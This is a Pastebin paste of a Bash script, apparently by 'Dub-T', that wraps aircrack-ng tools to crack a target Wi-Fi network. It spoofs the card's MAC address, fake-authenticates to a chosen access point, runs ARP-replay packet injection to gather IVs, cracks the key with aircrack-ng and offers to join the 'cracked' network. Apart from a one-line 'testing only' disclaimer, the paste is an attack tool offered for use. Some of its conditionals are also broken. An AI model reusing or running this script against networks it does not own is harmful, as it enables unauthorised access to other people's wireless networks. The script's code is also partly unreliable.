Guest User

Untitled

a guest
Dec 15th, 2018
135
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 9.52 KB | None | 0 0
  1. #!/bin/bash
  2. ##########################################
  3. ##########################################
  4. ######## This script was created  ########
  5. ######## for testing purpose's on ########
  6. ######## -ly. Other purpose's are ########
  7. ######## Illegal.                 ########
  8. ######## You MUST set kismet to u ########
  9. ######## -se mon0 as the interfa  ########
  10. ######## -ce. This is a front end ########
  11. ######## of Aircrack-ng. To find  ########
  12. ######## out more about aircrac   ########
  13. ######## -k-ng go to :            ########
  14. ########      aircrack-ng.org .   ########
  15. ########      Created by Dub-T.   ########
  16. ##########################################
  17. ##########################################
  18. #
  19. #
  20. #
  21. #Kills the processes that may use your adapter.
  22. sudo killall NetworkManager
  23. sudo killall NetworkManagerDispatcher
  24. sudo killall wpa_supplicant
  25. sudo killall avahi-daemon
  26. clear
  27. #Stores your adapter to a variable: interface
  28. read -p "Enter the Interface you would like to use : " interface
  29. echo ""
  30. clear
  31. #Starts the adapter in monitor mode just in case you want to run kismet.
  32. sudo airmon-ng start $interface
  33. clear
  34. #Ask if you have gathered packets and want to keep your temporary files from before.
  35. read -p "If you have already ran this script and have temporary files left over from your last session, than you can continue using these files to add to your database of IV's. Would you like to keep these files for the cracking proccess later? (NOTE: If you select n, any temporary files from a previous session will be deleted.) (Y/n) : " temp
  36. echo ""
  37. #Reads the variable temp and if y will leave the directory Aircrack-ng-BASH-Script alone. If n it will delete any previous Aircrack-ng-BASH-Script directory.
  38. if [ temp = y ]; then
  39.    echo "Continueing..."
  40. else
  41.    sudo rm -R "Aircrack-ng-BASH-Script"
  42.    clear
  43. fi              
  44. #Ask you if you would like to run kismet, and if so stores your answer to a variable: kismetm
  45. clear
  46. read -p "Would you like to run kismet to find a network to crack, and/or a client to fake your MAC Address? (Y/n) : " kismetm
  47. echo ""
  48. #If the variable kismetm equals y, the line will create a folder called: Aircrack-ng-BASH-Script, and store all temporary files there. Then it will run kismet.
  49. if [ $kismetm = y ]; then
  50.    mkdir "Aircrack-ng-BASH-Script"
  51.    cd "Aircrack-ng-BASH-Script"
  52. fi
  53. clear
  54. if [ $kismetm = y ]; then
  55.    clear
  56.    sudo xterm -e "kismet" &
  57.    echo "Continuing...
  58.   "
  59. fi
  60. clear
  61. #Stores your desired transmission rate to a variable: rate
  62. read -p "Enter the Transmission Rate would you like to set your interface:
  63.  
  64. 1M, 2M, 5.5M, 6M, 9M, 11M, 12M, 18M, 24M, 36M, 48M, 54M : " rate
  65. echo ""
  66. clear
  67. #Ask you if you would like to change your interfaces mac address, and if so stores your answer to a variable: macset
  68.    clear
  69.    read -p "Would you like to change your Wi-Fi card's MAC Address? (Y/n) : " macset
  70.    echo ""
  71. #This sets the MAC Address to what you choose
  72. verifymac="n"
  73. if [ $macset = y ]; then
  74.    until [ $verifymac = y ]; do
  75. #If the variable macset equals y, the script will ask if you would like a random mac address, and if so stores your answer to a variable: ramac
  76.       if [ $macset = y ]; then
  77.          clear
  78.          read -p "Would you like a random MAC? (y/N) : " ramac
  79.          clear
  80.          echo "Continuing...
  81.         "
  82.       fi
  83. #If the variable ramac equals y, the script will change your wifi cards mac address at random.
  84.       if [ $ramac = y ]; then
  85.          sudo ifconfig mon0 down
  86.          sudo ifconfig $interface down
  87.          sudo macchanger -r mon0
  88.          sudo macchanger -r $interface
  89.          sudo ifconfig mon0 up
  90.          sudo ifconfig $interface up
  91.       fi
  92.       clear
  93. #This displays your mac address from your interface so you can confirm it.
  94.       sudo macchanger -s mon0
  95.       echo "
  96.      "
  97. #This will ask for your confirmation on your mac address, and if you wish to change it will store it to a variable: hmac
  98.       read -p "Please confirm MAC Address above, or provide a different MAC Address you want if you wish to change you MAC Address. : " hmac
  99.       echo ""
  100.       clear
  101. #This reads the variable ramac and if n with change your interface to the desired mac address.
  102.       if [ $ramac = n ]; then
  103.          sudo ifconfig mon0 down
  104.          sudo ifconfig $interface down
  105.          sudo macchanger -m $hmac mon0
  106.          sudo macchanger -m $hmac $interface
  107.          sudo ifconfig mon0 up
  108.          sudo ifconfig $interface up
  109.       fi
  110.       clear
  111. #This sets your wifi cards mac address to the mac address of airmon-ng's mon0.
  112.       if [ $macset = n ]; then
  113.          sudo macchanger -m $hmac $interface
  114.          sudo macchanger -m $hmac mon0
  115.       fi
  116.       clear
  117. #This confirms the MAC Address
  118.       sudo macchanger -s mon0
  119.       echo "
  120.      "
  121.       read -p "Is this the MAC Address you want? (Y/n) : " verifymac
  122.       echo ""
  123.    done
  124. fi
  125. clear
  126.  
  127. #This will ask for your confirmation on your mac address, and if you wish to change it will store it to a variable: hmac
  128. clear
  129. if [ $macset = n ]; then
  130. sudo macchanger -s mon0
  131.    echo "
  132. "
  133.    read -p "Please confirm MAC Address above. : " hmac
  134.    echo ""
  135.    clear
  136.    sudo macchanger -m $hmac $interface
  137.    sudo macchanger -m $hmac mon0
  138. fi
  139. #This sets your wifi card to the transmission rate you want.
  140. verifyap="n"
  141. until [ $verifyap = y ]; do
  142.    sudo iwconfig $interface rate $rate
  143.    clear
  144. #This next lines of commands ask for the necessary information about your access point.  
  145.    read -p "Enter the Wi-Fi Access Points MAC Address : " mac
  146.    echo ""
  147.    clear
  148.    read -p "Enter the Wi-Fi Access Points SSID : " ssid
  149.    echo ""
  150.    clear
  151.    read -p "Enter the Wi-Fi Access Points Channel : " channel
  152.    clear
  153. #This will verify the info you have just typed, and will ask you if it's correct. This will then store it to a variable: start
  154.    echo "Is this correct? :
  155.  
  156.   Wi-Fi Card:
  157.  
  158.   Interface: $interface
  159.   Interface's MAC: $hmac
  160.   Transmission Rate: $rate
  161.  
  162.   Wi-Fi AP:
  163.  
  164.   Wi-Fi AP's MAC: $mac
  165.   SSID: $ssid
  166.   Channel: $channel
  167.   "
  168.    read -p "(Y/n) : " verifyap
  169.    echo ""
  170. #This will read variable start and if y, will continue. If the variable start is no, it will reset your wifi card and start over.
  171.    if [ $start = y ]; then
  172.       echo "Starting..."
  173.    fi
  174. done
  175. clear
  176. #This will close the kismet window.
  177. sudo killall xterm
  178. clear
  179. #The next two lines will stop your wifi card and kill kismet to save cpu power for the cracking process. It will then start your wifi card in monitor mode and with the desired channel.
  180. sudo airmon-ng stop mon0
  181. sudo killall kismet
  182. sudo airmon-ng start $interface $channel
  183. clear
  184. #This will create a folder, if kismet was not run, called: Aircrack-ng-BASH-Script, and store all temporary files there.
  185. if [ $kismetm = n ]; then
  186.    mkdir "Aircrack-ng-BASH-Script"
  187.    cd "Aircrack-ng-BASH-Script"
  188. fi
  189. #This will start airodump-ng on the right channel and target the access point you desire.
  190. sudo xterm -hold -e "airodump-ng -c $channel --bssid $mac -w output mon0"  &
  191. echo "Starting Injections...
  192. "
  193. #The next two lines will set your card on the channel you desire and try to fake authenticate you on the network you wish to crack.
  194. sudo iwconfig $interface channel $channel
  195. sudo aireplay-ng -1 0 -e "$ssid" -a $mac -h $hmac mon0
  196. echo "
  197.  
  198. "
  199. #This will start requesting arp request at an average of 500 packets per second.
  200. sudo xterm -hold -e "sudo  aireplay-ng -3 -b $mac -h $hmac mon0"  &
  201. #If the above authorization fails, you can choose to start a more direct authorization. It will then store your answer to variable: ivs
  202. read -p "Would you like to keep Re-autherizing yourself? (If you stop receiving IV's) (y/N) : " ivs
  203. echo ""
  204. #This will read variable ivs and if y will open a new window and start fake authorizing you as client.
  205. clear
  206. if [ $ivs = y ]; then
  207.    clear
  208.    sudo xterm -hold -e "aireplay-ng -1 6000 -o 1 -q 10 -e "$ssid" -a $mac -h $hmac mon0"  &
  209.    clear
  210.    echo "Continuing...
  211.   "
  212. fi
  213. #This will ask you if you would like run aircrack-ng. It then stores your answer to variable: aircrack
  214. read -p "Run Aircrack-ng? (Y/n) : " aircrack
  215. echo ""
  216. #This will read variable aircrack and if y will launch aircrack.
  217. if [ $aircrack = y ]; then
  218.    clear
  219.    sudo xterm -hold -e "aircrack-ng -z output*.cap"  &
  220.    clear
  221. fi
  222. #This will ask you if you would like to delete the temporary files then stores your anwser to variable delete.
  223. clear
  224. read -p "Would you like to delete the temporary files created during the gathering proccess? (y/N) : " delete
  225. echo ""
  226. #This will read the variable delete and if y will delete the files, if n it will leave the folder alone.
  227. if [ $delete = y ]; then
  228.    sudo rm -R "Aircrack-ng-BASH-Script"
  229.    clear
  230.    else echo "Continuing..."
  231. fi
  232. #This will ask you if you would like to stop your cracking and store your answer to variable: connect
  233. clear
  234. read -p "Would you like to connect to the Wi-Fi AP you just cracked? (Y/n) : " connect
  235. echo ""
  236. clear
  237. #This will read variable connect and if y will stop cracking and start networkmanager for connecting to the network you cracked. If no it will stop cracking.
  238. if [ $connect = y ]; then
  239.    sudo airmon-ng stop mon0
  240.    sudo NetworkManager
  241.    sudo iwconfig $interface rate 54M
  242.    sudo killall kismet
  243.    sudo killall xterm
  244. else
  245.    sudo airmon-ng stop mon0
  246.    sudo killall xterm
  247.    sudo killall kismet
  248.    sudo iwconfig $interface rate 54M
  249.    exit
  250. fi
  251. #This confirms you successfully cracked the network
  252. clear
  253. read -p "Did you successfully crack the network? (Y/n) : " comp
  254. echo ""
  255. clear
  256. if [ $comp = y ]; then
  257.    exit 0
  258. else  
  259.    exit 1
  260. fi
Add Comment
Please, Sign In to add comment